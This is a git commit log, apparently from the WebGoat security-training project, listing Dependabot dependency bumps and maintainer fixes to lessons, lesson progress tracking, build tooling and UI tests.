Co-authored-by: HackHuang <GoogTech@outlook.com>
Co-authored-by: HackHuang <hi@goog.tech>
2025-01-26 20:23:40 +01:00
dependabot[bot]
2ac50bfbd8
chore: bump docker/build-push-action from 6.11.0 to 6.12.0 (#2005)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.11.0 to 6.12.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.11.0...v6.12.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-26 19:18:25 +01:00
Nanne Baars
d96dbe2edf fix: build failure 2025-01-26 18:47:10 +01:00
Nanne Baars
8e45316638
feat: Introduce Playwright for UI testing
Instead of using Robot Framework which does not run during a `mvn install`. Playwright seems to be the better approach. We can now write them as normal JUnit test and they are executed during a build.

Additionally this PR solves some interesting bugs found during writing Playwright tests:

- A reset of a lesson removes all assignments as a result another user wouldn't see any assignments
- If someone solves an assignment the assignment automatically got solved for a new user since the assignment included the `solved` flag which immediately got copied to new lesson progress.
- Introduction of assignment progress linking a assignment not directly to all users.
2025-01-26 16:59:59 +01:00
dependabot[bot]
9d5ab5fb21
chore: bump docker/setup-qemu-action from 3.1.0 to 3.3.0 (#2000) 2025-01-14 23:33:20 +01:00
dependabot[bot]
aee7abc6b7
chore: bump docker/build-push-action from 6.10.0 to 6.11.0 (#2001) 2025-01-14 23:32:04 +01:00
Nanne Baars
06e2fdbd33
refactor: use symbolic link for Java (#1996) 2025-01-12 16:17:45 +01:00
dependabot[bot]
02f43c54d0
chore: bump org.springframework.boot:spring-boot-starter-parent (#1994) 2024-12-25 11:00:53 +01:00
dependabot[bot]
19f4f8dc46
chore: bump com.google.guava:guava from 33.3.1-jre to 33.4.0-jre (#1995) 2024-12-25 11:00:37 +01:00
Nanne Baars
112ca3ab22
fix: enable resource patterns again (#1993)
`LessonScanner.java` got removed by mistake.

Closes: gh-1992
2024-12-21 18:47:30 +01:00
Nanne Baars
0244655409
feat: Move to Java 23
Closes: gh-1990
2024-12-21 14:16:33 +01:00
dependabot[bot]
a95213757d
chore: bump org.springframework.boot:spring-boot-starter-parent from 3.3.5 to 3.4.0 (#1962) 2024-12-16 20:16:10 +01:00
dependabot[bot]
6d90852c1f
chore: bump org.apache.commons:commons-text from 1.12.0 to 1.13.0 (#1986) 2024-12-16 20:15:53 +01:00
Nanne Baars
4f8652758c
refactor: remove unused code (#1985) 2024-12-15 13:06:49 +01:00
Nanne Baars
5fc2e0602c
refactor: move plugin messages (#1968) 2024-12-03 22:13:44 +01:00
dependabot[bot]
f3c7f4588b
chore: bump docker/build-push-action from 6.9.0 to 6.10.0 (#1969) 2024-12-03 22:13:24 +01:00
dependabot[bot]
119b84d034
chore: bump org.wiremock:wiremock-standalone from 3.9.2 to 3.10.0 (#1970) 2024-12-03 22:13:11 +01:00
dependabot[bot]
afd951228d
chore: bump org.jsoup:jsoup from 1.18.1 to 1.18.3 (#1971) 2024-12-03 22:13:00 +01:00
Jeong Rok Suh
51e3f59054
fix: Hint labels showing default text regardless of localization (#1965) 2024-11-26 23:34:09 +01:00
dependabot[bot]
cc0efd8600
chore: bump commons-io:commons-io from 2.17.0 to 2.18.0 (#1961) 2024-11-26 23:21:10 +01:00
dependabot[bot]
e29dccf3c9
chore: bump org.testcontainers:junit-jupiter from 1.20.3 to 1.20.4 (#1963) 2024-11-26 23:20:25 +01:00
dependabot[bot]
0cf861fb3c
chore: bump org.testcontainers:testcontainers from 1.20.3 to 1.20.4 (#1964) 2024-11-26 23:20:11 +01:00
Nanne Baars
d8100385b6
fix: automatically solve XSS mitigation (#1957)
This PR moves the mitigation Java class into the correct package.

The lesson was automatically solved because no assignments were found.

Closes: #1943
2024-11-14 08:42:55 +01:00
Nanne Baars
4880afa0e3
fix: remove implicit context path guessing (#1956)
Pass the context-path in the assignment overview so the frontend can easily match an assignment.
2024-11-13 21:32:28 +01:00
dependabot[bot]
e60ca6ce72
chore: bump org.jruby:jruby from 9.4.8.0 to 9.4.9.0 (#1954) 2024-11-11 13:46:45 +01:00
dependabot[bot]
88a763f513
chore: bump org.testcontainers:junit-jupiter from 1.20.1 to 1.20.3 (#1946)
Bumps [org.testcontainers:junit-jupiter](https://github.com/testcontainers/testcontainers-java) from 1.20.1 to 1.20.3.
- [Release notes](https://github.com/testcontainers/testcontainers-java/releases)
- [Changelog](https://github.com/testcontainers/testcontainers-java/blob/main/CHANGELOG.md)
- [Commits](https://github.com/testcontainers/testcontainers-java/compare/1.20.1...1.20.3)

---
updated-dependencies:
- dependency-name: org.testcontainers:junit-jupiter
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:27 +01:00
dependabot[bot]
7f33d3609f
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1948)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.1 to 3.5.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.1...surefire-3.5.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:10 +01:00
dependabot[bot]
bf02077427
chore: bump org.wiremock:wiremock-standalone from 3.9.1 to 3.9.2 (#1947)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.9.1 to 3.9.2.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.1...3.9.2)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 15:46:43 +01:00
Nanne Baars
e1e00bca73
fix: JWT kid/jku lessons (#1949)
* refactor: rewrite hints

Use active voice and fix grammar issues.

* fix: use Thymeleaf `th:action`

* fix: JWT kid/jku lessons

Split the JavaScript into two files they pointed to the same URL

The JWTs are now valid, they parse successfully.

The paths now include `/kid` and `/jku` to make sure the hints match accordingly in the UI. Otherwise `/delete` would pick up both hints from both assignments as the paths overlap.

Closes: #1715

* fix: update to latest pre-commit version

* fix: increase timeouts for server to start during integration tests
2024-11-07 15:45:33 +01:00
Nanne Baars
d59153d6d7
Fix password reset lesson (#1941)
* docs: improve text

* fix: use correct POST url
2024-10-29 17:32:51 +01:00
dependabot[bot]
87fae00f03
chore: bump commons-io:commons-io from 2.16.1 to 2.17.0 (#1937)
Bumps commons-io:commons-io from 2.16.1 to 2.17.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-29 16:30:32 +01:00
Nanne Baars
3f6a74ad86
chore(gh-actions): update dependency 2024-10-28 22:02:02 +01:00
Nanne Baars
1d37ee0877
ci: run pre-commit checks first
Create a dependency between the jobs.
2024-10-28 21:59:10 +01:00
Nanne Baars
4f6ab25ebd
ci: run pre-commit checks first 2024-10-28 21:57:43 +01:00
dependabot[bot]
af687e71fe
chore: bump com.google.guava:guava from 33.3.0-jre to 33.3.1-jre (#1939) 2024-10-28 20:02:09 +01:00
dependabot[bot]
83ed4c3d5c
chore: bump org.testcontainers:testcontainers from 1.20.1 to 1.20.3 (#1935) 2024-10-28 15:05:33 +01:00
dependabot[bot]
62cdfd0824
chore: bump com.github.terma:javaniotcpproxy from 1.5 to 1.6 (#1936) 2024-10-28 15:04:15 +01:00
dependabot[bot]
e7457f4821
chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1938) 2024-10-28 15:04:01 +01:00
Nanne Baars
4efaf87c7e
Fix passing command line arguments (#1933)
* fix: use banners correctly

* fix: passing command line arguments

Since we already have `webwolf.port` it makes sense to also define `webwolf.port` explicitly and not rely on `server.port`

Closes: #1910
2024-10-27 08:39:02 +01:00
dependabot[bot]
cf5101a633
chore: bump org.asciidoctor:asciidoctorj from 2.5.13 to 3.0.0 (#1897) 2024-10-26 22:53:43 +02:00
Nanne Baars
3f049ba53a
Nbaars/1886 (#1932)
* improved code readbility

* chore: format code

---------

Co-authored-by: guilherme peixoto <peixoto-guilherme7@hotmail.com>
2024-10-26 22:18:28 +02:00
dependabot[bot]
7e294fbdb5
chore: bump org.apache.commons:commons-compress from 1.26.2 to 1.27.1 (#1884) 2024-10-26 19:27:07 +02:00
dependabot[bot]
2177eb663a
chore: bump docker/build-push-action from 6.7.0 to 6.9.0 (#1920) 2024-10-26 16:59:13 +02:00
François Capon
50692300eb
docs: Show boolean operators priority on where (#1902) 2024-10-26 14:48:50 +02:00
dependabot[bot]
e2c2d425cb
chore: bump actions/cache from 4.0.2 to 4.1.1 (#1925) 2024-10-26 14:25:04 +02:00
dependabot[bot]
6bbd3cb66b
chore: bump org.springframework.boot:spring-boot-starter-parent (#1931) 2024-10-26 14:20:14 +02:00
Nanne Baars
d08a56d351
chore: add test for solving same lesson as different user. (#1930)
We removed the constraint but did not add an extra testcase to cover this bug.

Closes: #1890
2024-10-26 12:06:30 +02:00
dependabot[bot]
ec97568ec2
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1922)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.1 to 3.5.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.1...surefire-3.5.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:55:02 +02:00
dependabot[bot]
9b68368b23
chore: bump pre-commit-ci/lite-action from 1.0.1 to 1.1.0 (#1926)
Bumps [pre-commit-ci/lite-action](https://github.com/pre-commit-ci/lite-action) from 1.0.1 to 1.1.0.
- [Release notes](https://github.com/pre-commit-ci/lite-action/releases)
- [Commits](https://github.com/pre-commit-ci/lite-action/compare/v1.0.1...v1.1.0)

---
updated-dependencies:
- dependency-name: pre-commit-ci/lite-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:54:46 +02:00
Nanne Baars
ab068901f1
Remove WebGoat session object (#1929)
* refactor: modernize code

* refactor: move to Tomcat

* chore: bump to Spring Boot 3.3.3

* refactor: use Testcontainers to run integration tests

* refactor: lesson/assignment progress

* chore: format code

* refactor: first step into removing base class for assignment

Always been a bit of an ugly construction, as none of the dependencies are clear. The constructors are hidden due to autowiring the base class. This PR removes two of the fields.

As a bonus we now wire the authentication principal directly in the controllers.

* refactor: use authentication principal directly.

* refactor: pass lesson to the endpoints

No more need to get the current lesson set in a session. The lesson is now passed to the endpoints.

* fix: Testcontainers cannot run on Windows host in Github actions.

Since we have Windows specific paths let's run it standalone for now. We need to run these tests on Docker as well (for now disabled)
2024-10-26 10:54:21 +02:00
François Capon
cb7c508046
fix: reset form and quiz color on reset lesson (#1903)
* ./mvnw spotless:apply

```
[INFO] --- spotless-maven-plugin:2.41.1:apply (default-cli) @ webgoat ---
[INFO] Writing clean file: /home/ulyssa/labs/WebGoat/WebGoat-bb6e84d/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java
```

* On reset lesson: reset form and quizzes colors
2024-10-26 09:22:18 +02:00
Rui Melo
f4c86be6c7 Update fix version 2024-10-18 22:50:19 +02:00
Benjamin Mouncer
cf2c115093 fix: xss lesson typo 2024-10-18 22:38:32 +02:00
dependabot[bot]
bb6e84ddcf
chore: bump com.google.guava:guava from 33.2.1-jre to 33.3.0-jre (#1879)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.2.1-jre to 33.3.0-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:44:38 +02:00
dependabot[bot]
5fc2666b43
chore: bump docker/build-push-action from 6.5.0 to 6.7.0 (#1877)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.5.0 to 6.7.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.5.0...v6.7.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:43:46 +02:00
dependabot[bot]
6e946f21a2
chore: bump io.github.bonigarcia:webdrivermanager from 5.9.1 to 5.9.2 (#1866)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.9.1 to 5.9.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.9.1...webdrivermanager-5.9.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:57:57 +02:00
dependabot[bot]
d38ba2a626
chore: bump docker/build-push-action from 6.4.1 to 6.5.0 (#1867)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.4.1 to 6.5.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.4.1...v6.5.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:33 +02:00
dependabot[bot]
4c7e6ae4f4
chore: bump org.wiremock:wiremock from 3.9.0 to 3.9.1 (#1865)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.9.0 to 3.9.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.0...3.9.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:12 +02:00
Nanne Baars
58b762eade
fix: copying file using transferTo sometimes fails. (#1862)
Turns out that using this method sometimes fails with an exception about unable to delete a directory.
The stacktrace points to:

```
java.nio.file.FileSystemException: /tmp/webwolf-fileserver/dumbanddummer/xxe_a11.dtd: Not a directory
        at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:100) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:106) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111) ~[na:na]
        at java.base/sun.nio.fs.UnixFileSystemProvider.implDelete(UnixFileSystemProvider.java:248) ~[na:na]
        at java.base/sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:110) ~[na:na]
        at java.base/java.nio.file.Files.deleteIfExists(Files.java:1191) ~[na:na]
        at java.base/java.nio.file.Files.copy(Files.java:3147) ~[na:na]
        at io.undertow.server.handlers.form.FormData$FileItem.write(FormData.java:274) ~[undertow-core-2.3.10.Final.jar!/:2.3.10.Final]
        at io.undertow.servlet.spec.PartImpl.write(PartImpl.java:119) ~[undertow-servlet-2.3.10.Final.jar!/:2.3.10.Final]
        at org.springframework.web.multipart.support.StandardMultipartHttpServletRequest$StandardMultipartFile.transferTo(StandardMultipartHttpServletRequest.java:254) ~[spring-web-6.0.13.jar!/:6.0.13]
        at org.owasp.webgoat.webwolf.FileServer.importFile(FileServer.java:89)
```

It has to do with the underlying implmentation in Undertow. An explaination can be found here: https://stackoverflow.com/questions/60336929/java-nio-file-nosuchfileexception-when-file-transferto-is-called

The solution is to take the input stream and use a simple `Files.copy()` to copy the file.

Closes: #1737
2024-07-28 17:47:30 +02:00
Nanne Baars
2b0c22ac68
Small improvements (#1848)
* refactor: remove CORS

* improvement: add healthcheck to Docker file
2024-07-23 17:42:56 +02:00
dependabot[bot]
85103bbcad
chore: bump docker/login-action from 3.2.0 to 3.3.0 (#1855)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.2.0 to 3.3.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.2.0...v3.3.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-23 17:36:27 +02:00
dependabot[bot]
b98e1a98e1
chore: bump docker/build-push-action from 6.2.0 to 6.4.1 (#1854)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.2.0 to 6.4.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.2.0...v6.4.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:33:06 +02:00
dependabot[bot]
73de259809
chore: bump org.wiremock:wiremock from 3.8.0 to 3.9.0 (#1852)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.8.0 to 3.9.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.8.0...3.9.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:48 +02:00
dependabot[bot]
4a804fabb6
chore: bump org.jsoup:jsoup from 1.17.2 to 1.18.1 (#1851)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.17.2 to 1.18.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.17.2...jsoup-1.18.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:27 +02:00
dependabot[bot]
7f652dadec
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1850)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.0 to 3.3.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.0...surefire-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:10 +02:00
dependabot[bot]
f66dff1aeb
chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom (#1840)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.10 to 12.0.11.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.10...jetty-12.0.11)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-10 12:14:45 +02:00
dependabot[bot]
777cec5a57
chore: bump io.github.bonigarcia:webdrivermanager from 5.8.0 to 5.9.1 (#1838)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.8.0 to 5.9.1.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.8.0...webdrivermanager-5.9.1)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:53:00 +02:00
dependabot[bot]
98fd280459
chore: bump org.wiremock:wiremock from 3.7.0 to 3.8.0 (#1837)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.7.0 to 3.8.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.7.0...3.8.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:49 +02:00
dependabot[bot]
8e0addff0b
chore: bump org.jruby:jruby from 9.4.7.0 to 9.4.8.0 (#1841)
Bumps org.jruby:jruby from 9.4.7.0 to 9.4.8.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:41 +02:00
dependabot[bot]
a30fbc223a
chore: bump docker/setup-qemu-action from 2.2.0 to 3.1.0 (#1842)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.2.0 to 3.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.2.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:27 +02:00
Nanne Baars
a0b6decf34
Fix report card (#1845)
* fix: report card

Fix and simplify calculation of the number of assignments a user solved.
Rename `UserTracker` to `UserProgress`
Rename `LessonTracker` to `LessonProgress`
Rename tables in database
2024-07-09 20:07:09 +02:00
dependabot[bot]
1531987da5
chore: bump docker/build-push-action from 6.1.0 to 6.2.0 (#1839)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.1.0 to 6.2.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.1.0...v6.2.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-07 12:24:25 +02:00
dependabot[bot]
bec6580c84
chore: bump docker/build-push-action from 5.4.0 to 6.1.0 (#1832)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.4.0 to 6.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.4.0...v6.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-29 10:16:10 +02:00
dependabot[bot]
900702481b
chore: bump org.wiremock:wiremock from 3.6.0 to 3.7.0 (#1834)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.6.0 to 3.7.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.6.0...3.7.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-26 09:14:21 +02:00
dependabot[bot]
f35b23970e
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1828)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.2.1...surefire-3.3.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:44:31 +02:00
dependabot[bot]
074fd8f5ff
chore: bump org.webjars:webjars-locator-core from 0.58 to 0.59 (#1827)
Bumps [org.webjars:webjars-locator-core](https://github.com/webjars/webjars-locator-core) from 0.58 to 0.59.
- [Commits](https://github.com/webjars/webjars-locator-core/compare/webjars-locator-core-0.58...webjars-locator-core-0.59)

---
updated-dependencies:
- dependency-name: org.webjars:webjars-locator-core
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 11:32:57 +02:00
dependabot[bot]
8c890b090c
chore: bump io.github.bonigarcia:webdrivermanager from 5.6.3 to 5.8.0 (#1826)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.6.3 to 5.8.0.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.6.3...webdrivermanager-5.8.0)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 10:38:31 +02:00
dependabot[bot]
630c1e1afd
chore: bump org.ow2.asm:asm from 9.5 to 9.7 (#1829)
Bumps org.ow2.asm:asm from 9.5 to 9.7.

---
updated-dependencies:
- dependency-name: org.ow2.asm:asm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-18 09:11:59 +02:00
dependabot[bot]
061c75a05f
chore: bump org.apache.commons:commons-compress from 1.26.0 to 1.26.2 (#1825)
Bumps org.apache.commons:commons-compress from 1.26.0 to 1.26.2.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:28:49 +02:00
dependabot[bot]
5e5a1363b0
chore: bump docker/build-push-action from 5.3.0 to 5.4.0 (#1824)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.3.0 to 5.4.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.3.0...v5.4.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
